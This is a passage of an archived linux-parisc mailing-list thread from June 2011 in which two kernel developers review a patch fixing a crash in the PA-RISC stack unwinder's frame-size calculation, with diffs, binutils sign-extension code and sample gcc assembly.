-			if ((insn & 0xffffc000) == 0x37de0000 ||
-			    (insn & 0xffe00000) == 0x6fc00000) {
+			if ((insn & 0xffffc001) == 0x37de0000 ||
+			    (insn & 0xffe00001) == 0x6fc00000) {
 				/* ldo X(sp), sp, or stwm X,D(sp) */
-				frame_size += (insn & 0x1 ? -1 << 13 : 0) | 
-					((insn & 0x3fff) >> 1);
+				frame_size += (insn & 0x3fff) >> 1;
 				dbg("analyzing func @ %lx, insn=%08x @ "
 				    "%lx, frame_size = %ld\n", info->ip,
 				    insn, npc, frame_size);
-			} else if ((insn & 0xffe00008) == 0x73c00008) {
+			} else if ((insn & 0xffe00009) == 0x73c00008) {
 				/* std,ma X,D(sp) */
-				frame_size += (insn & 0x1 ? -1 << 13 : 0) | 
-					(((insn >> 4) & 0x3ff) << 3);
+				frame_size += ((insn >> 4) & 0x3ff) << 3;
 				dbg("analyzing func @ %lx, insn=%08x @ "
 				    "%lx, frame_size = %ld\n", info->ip,
 				    insn, npc, frame_size);
@@ -335,6 +338,9 @@ static void unwind_frame_regs(struct unw
 			}
 		}
 
+		if (frame_size > e->Total_frame_size << 3)
+			frame_size = e->Total_frame_size << 3;
+
 		if (!unwind_special(info, e->region_start, frame_size)) {
 			info->prev_sp = info->sp - frame_size;
 			if (e->Millicode)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix backtrace on PA-RISC
Date: Tue, 28 Jun 2011 20:59:30 -0400 (EDT)
Lines: 67
Approved: news@gmane.org
Message-ID: <20110629005931.23E974EDA@hiauly1.hia.nrc.ca>
References: <alpine.DEB.2.00.1106290043170.32272@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1309309179 22261 80.91.229.12 (29 Jun 2011 00:59:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Jun 2011 00:59:39 +0000 (UTC)
Cc: jejb@parisc-linux.org, linux-parisc@vger.kernel.org
To: mikulas@artax.karlin.mff.cuni.cz (Mikulas Patocka)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 29 02:59:35 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qbj7t-0007g4-V7
	for glpp-linux-parisc@lo.gmane.org; Wed, 29 Jun 2011 02:59:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751328Ab1F2A7d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Jun 2011 20:59:33 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1149 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750974Ab1F2A7c (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Jun 2011 20:59:32 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 23E974EDA; Tue, 28 Jun 2011 20:59:30 -0400 (EDT)
In-Reply-To: <alpine.DEB.2.00.1106290043170.32272@artax.karlin.mff.cuni.cz> from "Mikulas Patocka" at Jun 29, 2011 00:48:19 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3820
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3820>

> @@ -305,18 +310,16 @@ static void unwind_frame_regs(struct unw
>  
>  			insn = *(unsigned int *)npc;
>  
> -			if ((insn & 0xffffc000) == 0x37de0000 ||
> -			    (insn & 0xffe00000) == 0x6fc00000) {
> +			if ((insn & 0xffffc001) == 0x37de0000 ||
> +			    (insn & 0xffe00001) == 0x6fc00000) {
>  				/* ldo X(sp), sp, or stwm X,D(sp) */
> -				frame_size += (insn & 0x1 ? -1 << 13 : 0) | 
> -					((insn & 0x3fff) >> 1);
> +				frame_size += (insn & 0x3fff) >> 1;

This doesn't look correct to me.  Look at the disassembly code
in binutils.  In wide mode, an extract_16 operation needs to be
used for ldo.  In non wide mode and for stwm, extract_14 needs
to be used.  extract_14 is a simple 14-bit extraction followed 
low sign extension.

I believe the problem with the original code is that it doesn't
handle wide mode (64-bit kernels) for ldo.

>  				dbg("analyzing func @ %lx, insn=%08x @ "
>  				    "%lx, frame_size = %ld\n", info->ip,
>  				    insn, npc, frame_size);
> -			} else if ((insn & 0xffe00008) == 0x73c00008) {
> +			} else if ((insn & 0xffe00009) == 0x73c00008) {
>  				/* std,ma X,D(sp) */
> -				frame_size += (insn & 0x1 ? -1 << 13 : 0) | 
> -					(((insn >> 4) & 0x3ff) << 3);
> +				frame_size += ((insn >> 4) & 0x3ff) << 3;

I believe the original code is correct for this case.

>  				dbg("analyzing func @ %lx, insn=%08x @ "
>  				    "%lx, frame_size = %ld\n", info->ip,
>  				    insn, npc, frame_size);
> @@ -335,6 +338,9 @@ static void unwind_frame_regs(struct unw
>  			}
>  		}
>  
> +		if (frame_size > e->Total_frame_size << 3)
> +			frame_size = e->Total_frame_size << 3;
> +

??? I don't believe this should happen in frames with a fixed size.
The code probably doesn't handle cases where alloca is used.  The
are some flags for this in the unwind data.

>  		if (!unwind_special(info, e->region_start, frame_size)) {
>  			info->prev_sp = info->sp - frame_size;
>  			if (e->Millicode)
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix backtrace on PA-RISC
Date: Tue, 28 Jun 2011 21:25:44 -0400
Organization: nrc.ca
Lines: 52
Approved: news@gmane.org
Message-ID: <20110629012544.GA9039@hiauly1.hia.nrc.ca>
References: <alpine.DEB.2.00.1106290043170.32272@artax.karlin.mff.cuni.cz>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1309310755 28924 80.91.229.12 (29 Jun 2011 01:25:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Jun 2011 01:25:55 +0000 (UTC)
Cc: jejb@parisc-linux.org, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 29 03:25:50 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QbjXK-0005bv-6h
	for glpp-linux-parisc@lo.gmane.org; Wed, 29 Jun 2011 03:25:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751828Ab1F2BZr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Jun 2011 21:25:47 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1153 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753086Ab1F2BZr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Jun 2011 21:25:47 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8D0134D06; Tue, 28 Jun 2011 21:25:45 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3821
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3821>

On Tue, 28 Jun 2011, John David Anglin wrote:

> > @@ -305,18 +310,16 @@ static void unwind_frame_regs(struct unw
> >  
> >  			insn = *(unsigned int *)npc;
> >  
> > -			if ((insn & 0xffffc000) == 0x37de0000 ||
> > -			    (insn & 0xffe00000) == 0x6fc00000) {
> > +			if ((insn & 0xffffc001) == 0x37de0000 ||
> > +			    (insn & 0xffe00001) == 0x6fc00000) {
> >  				/* ldo X(sp), sp, or stwm X,D(sp) */
> > -				frame_size += (insn & 0x1 ? -1 << 13 : 0) | 
> > -					((insn & 0x3fff) >> 1);
> > +				frame_size += (insn & 0x3fff) >> 1;
> 
> This doesn't look correct to me.  Look at the disassembly code
> in binutils.  In wide mode, an extract_16 operation needs to be
> used for ldo.  In non wide mode and for stwm, extract_14 needs
> to be used.  extract_14 is a simple 14-bit extraction followed 
> low sign extension.
> 
> I believe the problem with the original code is that it doesn't
> handle wide mode (64-bit kernels) for ldo.

Here are the sign extension routines from binutils:

static inline int
sign_extend (int x, int len)
{
  int signbit = (1 << (len - 1));
  int mask = (signbit << 1) - 1;
  return ((x & mask) ^ signbit) - signbit;
}

static inline int
low_sign_extend (int x, int len)
{
  return (x >> 1) - ((x & 1) << (len - 1));
}

It probably doesn't matter too much but they are written in a manner
to avoid conditional tests.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix backtrace on PA-RISC
Date: Wed, 29 Jun 2011 16:24:17 +0200 (CEST)
Lines: 130
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1106291537330.30885@artax.karlin.mff.cuni.cz>
References: <20110629005931.23E974EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1309357487 17284 80.91.229.12 (29 Jun 2011 14:24:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Jun 2011 14:24:47 +0000 (UTC)
Cc: jejb@parisc-linux.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 29 16:24:42 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qbvh4-0002jv-5M
	for glpp-linux-parisc@lo.gmane.org; Wed, 29 Jun 2011 16:24:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755628Ab1F2OYW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Jun 2011 10:24:22 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:33702 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754921Ab1F2OYT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Jun 2011 10:24:19 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 703AC980BC; Wed, 29 Jun 2011 16:24:17 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 6F8559806F;
	Wed, 29 Jun 2011 16:24:17 +0200 (CEST)
In-Reply-To: <20110629005931.23E974EDA@hiauly1.hia.nrc.ca>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3822
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3822>



On Tue, 28 Jun 2011, John David Anglin wrote:

> > @@ -305,18 +310,16 @@ static void unwind_frame_regs(struct unw
> >  
> >  			insn = *(unsigned int *)npc;
> >  
> > -			if ((insn & 0xffffc000) == 0x37de0000 ||
> > -			    (insn & 0xffe00000) == 0x6fc00000) {
> > +			if ((insn & 0xffffc001) == 0x37de0000 ||
> > +			    (insn & 0xffe00001) == 0x6fc00000) {
> >  				/* ldo X(sp), sp, or stwm X,D(sp) */
> > -				frame_size += (insn & 0x1 ? -1 << 13 : 0) | 
> > -					((insn & 0x3fff) >> 1);
> > +				frame_size += (insn & 0x3fff) >> 1;
> 
> This doesn't look correct to me.  Look at the disassembly code
> in binutils.  In wide mode, an extract_16 operation needs to be
> used for ldo.  In non wide mode and for stwm, extract_14 needs
> to be used.  extract_14 is a simple 14-bit extraction followed 
> low sign extension.

Such large frame size is disallowed in the kernel anyway.

BTW. gcc doesn't use these 16-bit offsets.

> I believe the problem with the original code is that it doesn't
> handle wide mode (64-bit kernels) for ldo.

64-bit ldo is the same as 32-bit ldo if the offset is in <-0x2000;0x1fff>.

> >  				dbg("analyzing func @ %lx, insn=%08x @ "
> >  				    "%lx, frame_size = %ld\n", info->ip,
> >  				    insn, npc, frame_size);
> > -			} else if ((insn & 0xffe00008) == 0x73c00008) {
> > +			} else if ((insn & 0xffe00009) == 0x73c00008) {
> >  				/* std,ma X,D(sp) */
> > -				frame_size += (insn & 0x1 ? -1 << 13 : 0) | 
> > -					(((insn >> 4) & 0x3ff) << 3);
> > +				frame_size += ((insn >> 4) & 0x3ff) << 3;
> 
> I believe the original code is correct for this case.

If insn & 0x1 is true, the code, it does
frame_size += (unsigned)((int)-1 | (unsigned)(((insn >> 4) & 0x3ff) << 3))

Due to unsigned->long conversion, it doesn't decrease frame_size, but it 
adds 0x100000000-X to it. The result is a crash.


See this:
void g(void);

int f(int a)
{
        if (__builtin_expect(a, 1))
                return a;
        g();
        return a;
}

If we optimize it with -O2, it gets translated into
f:
        .PROC
        .CALLINFO FRAME=144,CALLS,SAVE_RP,ENTRY_GR=3
        .ENTRY
        std %r2,-16(%r30)
        ldo 144(%r30),%r30
        extrd,s %r26,63,32,%r28
        cmpb,*= %r0,%r28,.L4
        std %r4,-128(%r30)
.L2:
        ldd -160(%r30),%r2
        ldd -128(%r30),%r4
        bve (%r2)
        ldo -144(%r30),%r30
.L4:
        ldo -48(%r30),%r29
        b,l g,%r2
        std %r28,-136(%r30)
        b .L2
        ldd -136(%r30),%r28
        .EXIT
        .PROCEND
        .size   f, .-f

Now, if we are getting stack trace from "g" function, the code scanner 
sees both
        ldo 144(%r30),%r30
        ldo -144(%r30),%r30
Correct processing would mean to build a jump graph, but it's better to 
just ignore instructions that decrease the frame pointer.

> >  				dbg("analyzing func @ %lx, insn=%08x @ "
> >  				    "%lx, frame_size = %ld\n", info->ip,
> >  				    insn, npc, frame_size);
> > @@ -335,6 +338,9 @@ static void unwind_frame_regs(struct unw
> >  			}
> >  		}
> >  
> > +		if (frame_size > e->Total_frame_size << 3)
> > +			frame_size = e->Total_frame_size << 3;
> > +
> 
> ??? I don't believe this should happen in frames with a fixed size.
> The code probably doesn't handle cases where alloca is used.  The
> are some flags for this in the unwind data.

It's just a safeguard to not crash if we load something incorrect.

> >  		if (!unwind_special(info, e->region_start, frame_size)) {
> >  			info->prev_sp = info->sp - frame_size;
> >  			if (e->Millicode)
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html

Mikulas

> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix backtrace on PA-RISC
Date: Wed, 29 Jun 2011 17:00:09 +0200 (CEST)
Lines: 108
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1106291643090.6496@artax.karlin.mff.cuni.cz>
References: <20110629005931.23E974EDA@hiauly1.hia.nrc.ca> <alpine.DEB.2.00.1106291537330.30885@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1309359625 31550 80.91.229.12 (29 Jun 2011 15:00:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Jun 2011 15:00:25 +0000 (UTC)
Cc: jejb@parisc-linux.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 29 17:00:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QbwFW-0005X9-NE
	for glpp-linux-parisc@lo.gmane.org; Wed, 29 Jun 2011 17:00:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754133Ab1F2PAM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Jun 2011 11:00:12 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:54050 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753907Ab1F2PAK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Jun 2011 11:00:10 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 16218980BE; Wed, 29 Jun 2011 17:00:09 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 1565F980BC;
	Wed, 29 Jun 2011 17:00:09 +0200 (CEST)
In-Reply-To: <alpine.DEB.2.00.1106291537330.30885@artax.karlin.mff.cuni.cz>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3823
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3823>



On Wed, 29 Jun 2011, Mikulas Patocka wrote:

> 
> 
> On Tue, 28 Jun 2011, John David Anglin wrote:
> 
> > > @@ -305,18 +310,16 @@ static void unwind_frame_regs(struct unw
> > >  
> > >  			insn = *(unsigned int *)npc;
> > >  
> > > -			if ((insn & 0xffffc000) == 0x37de0000 ||
> > > -			    (insn & 0xffe00000) == 0x6fc00000) {
> > > +			if ((insn & 0xffffc001) == 0x37de0000 ||
> > > +			    (insn & 0xffe00001) == 0x6fc00000) {
> > >  				/* ldo X(sp), sp, or stwm X,D(sp) */
> > > -				frame_size += (insn & 0x1 ? -1 << 13 : 0) | 
> > > -					((insn & 0x3fff) >> 1);
> > > +				frame_size += (insn & 0x3fff) >> 1;
> > 
> > This doesn't look correct to me.  Look at the disassembly code
> > in binutils.  In wide mode, an extract_16 operation needs to be
> > used for ldo.  In non wide mode and for stwm, extract_14 needs
> > to be used.  extract_14 is a simple 14-bit extraction followed 
> > low sign extension.
> 
> Such large frame size is disallowed in the kernel anyway.
> 
> BTW. gcc doesn't use these 16-bit offsets.
> 
> > I believe the problem with the original code is that it doesn't
> > handle wide mode (64-bit kernels) for ldo.
> 
> 64-bit ldo is the same as 32-bit ldo if the offset is in <-0x2000;0x1fff>.
> 
> > >  				dbg("analyzing func @ %lx, insn=%08x @ "
> > >  				    "%lx, frame_size = %ld\n", info->ip,
> > >  				    insn, npc, frame_size);
> > > -			} else if ((insn & 0xffe00008) == 0x73c00008) {
> > > +			} else if ((insn & 0xffe00009) == 0x73c00008) {
> > >  				/* std,ma X,D(sp) */
> > > -				frame_size += (insn & 0x1 ? -1 << 13 : 0) | 
> > > -					(((insn >> 4) & 0x3ff) << 3);
> > > +				frame_size += ((insn >> 4) & 0x3ff) << 3;
> > 
> > I believe the original code is correct for this case.
> 
> If insn & 0x1 is true, the code, it does
> frame_size += (unsigned)((int)-1 | (unsigned)(((insn >> 4) & 0x3ff) << 3))
> 
> Due to unsigned->long conversion, it doesn't decrease frame_size, but it 
> adds 0x100000000-X to it. The result is a crash.
> 
> 
> See this:
> void g(void);
> 
> int f(int a)
> {
>         if (__builtin_expect(a, 1))
>                 return a;
>         g();
>         return a;
> }
> 
> If we optimize it with -O2, it gets translated into
> f:
>         .PROC
>         .CALLINFO FRAME=144,CALLS,SAVE_RP,ENTRY_GR=3
>         .ENTRY
>         std %r2,-16(%r30)
>         ldo 144(%r30),%r30
>         extrd,s %r26,63,32,%r28
>         cmpb,*= %r0,%r28,.L4
>         std %r4,-128(%r30)
> .L2:
>         ldd -160(%r30),%r2
>         ldd -128(%r30),%r4
>         bve (%r2)
>         ldo -144(%r30),%r30
> .L4:
>         ldo -48(%r30),%r29
>         b,l g,%r2
>         std %r28,-136(%r30)
>         b .L2
>         ldd -136(%r30),%r28
>         .EXIT
>         .PROCEND
>         .size   f, .-f
> 
> Now, if we are getting stack trace from "g" function, the code scanner 
> sees both
>         ldo 144(%r30),%r30
>         ldo -144(%r30),%r30

No, it actually stops when frame_size == (e->Total_frame_size << 3)

But I still don't understand the purpose of decoding those stack pointer 
decrement instruction. Due to bug in the code, every such stack pointer 
decrement adds 0x100000000 to the frame size and causes a crash.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix backtrace on PA-RISC
Date: Wed, 29 Jun 2011 12:45:25 -0400
Organization: nrc.ca
Lines: 40
Approved: news@gmane.org
Message-ID: <20110629164524.GA11776@hiauly1.hia.nrc.ca>
References: <20110629005931.23E974EDA@hiauly1.hia.nrc.ca> <alpine.DEB.2.00.1106291537330.30885@artax.karlin.mff.cuni.cz> <alpine.DEB.2.00.1106291643090.6496@artax.karlin.mff.cuni.cz>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1309365942 7966 80.91.229.12 (29 Jun 2011 16:45:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Jun 2011 16:45:42 +0000 (UTC)
Cc: jejb@parisc-linux.org, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 29 18:45:31 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QbxtI-0004bd-HS
	for glpp-linux-parisc@lo.gmane.org; Wed, 29 Jun 2011 18:45:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757189Ab1F2Qp1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Jun 2011 12:45:27 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1175 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754842Ab1F2Qp1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Jun 2011 12:45:27 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D31CD4EF0; Wed, 29 Jun 2011 12:45:25 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.00.1106291643090.6496@artax.karlin.mff.cuni.cz>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3824
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3824>

On Wed, 29 Jun 2011, Mikulas Patocka wrote:

> > Now, if we are getting stack trace from "g" function, the code scanner 
> > sees both
> >         ldo 144(%r30),%r30
> >         ldo -144(%r30),%r30
> 
> No, it actually stops when frame_size == (e->Total_frame_size << 3)
> 
> But I still don't understand the purpose of decoding those stack pointer 
> decrement instruction. Due to bug in the code, every such stack pointer 
> decrement adds 0x100000000 to the frame size and causes a crash.

Understand.  The purpose of decoding the stack pointer adjustments
probably was to handle the case where the .callinfo frame size information
is missing or wrong.  This is probably a remnant from when binutils was
generating incorrect unwind data...

Thus, you are correct that the negative adjustments should be ignored.
In large frames, I believe that the adjustment is done in more than
one instruction.

It is quite unlikely that the pc in a backtrace will occur before
the positive adjustment or after the negative adjustment.

If the above is a problem, it probably would be fairly simple to
check whether the pc lies between the entry point and the positive
adjustment.  Similarly, for the negative adjustment.  In both cases,
the adjustments have to be in the same code basic block as the
entry/return.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Wed, 29 Jun 2011 15:33:47 -0400
Organization: nrc.ca
Lines: 36
Approved: news@gmane.org
Message-ID: <20110629193346.GA12729@hiauly1.hia.nrc.ca>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca> <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com> <20110601021049.GB3984@hiauly1.hia.nrc.ca> <20110602213549.GA21839@parisc-linux.org>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1309376037 6211 80.91.229.12 (29 Jun 2011 19:33:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Jun 2011 19:33:57 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Thibaut VARENE <T-Bone@parisc-linux.org>,
	dann frazier <dannf@dannf.org>, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 29 21:33:51 2011
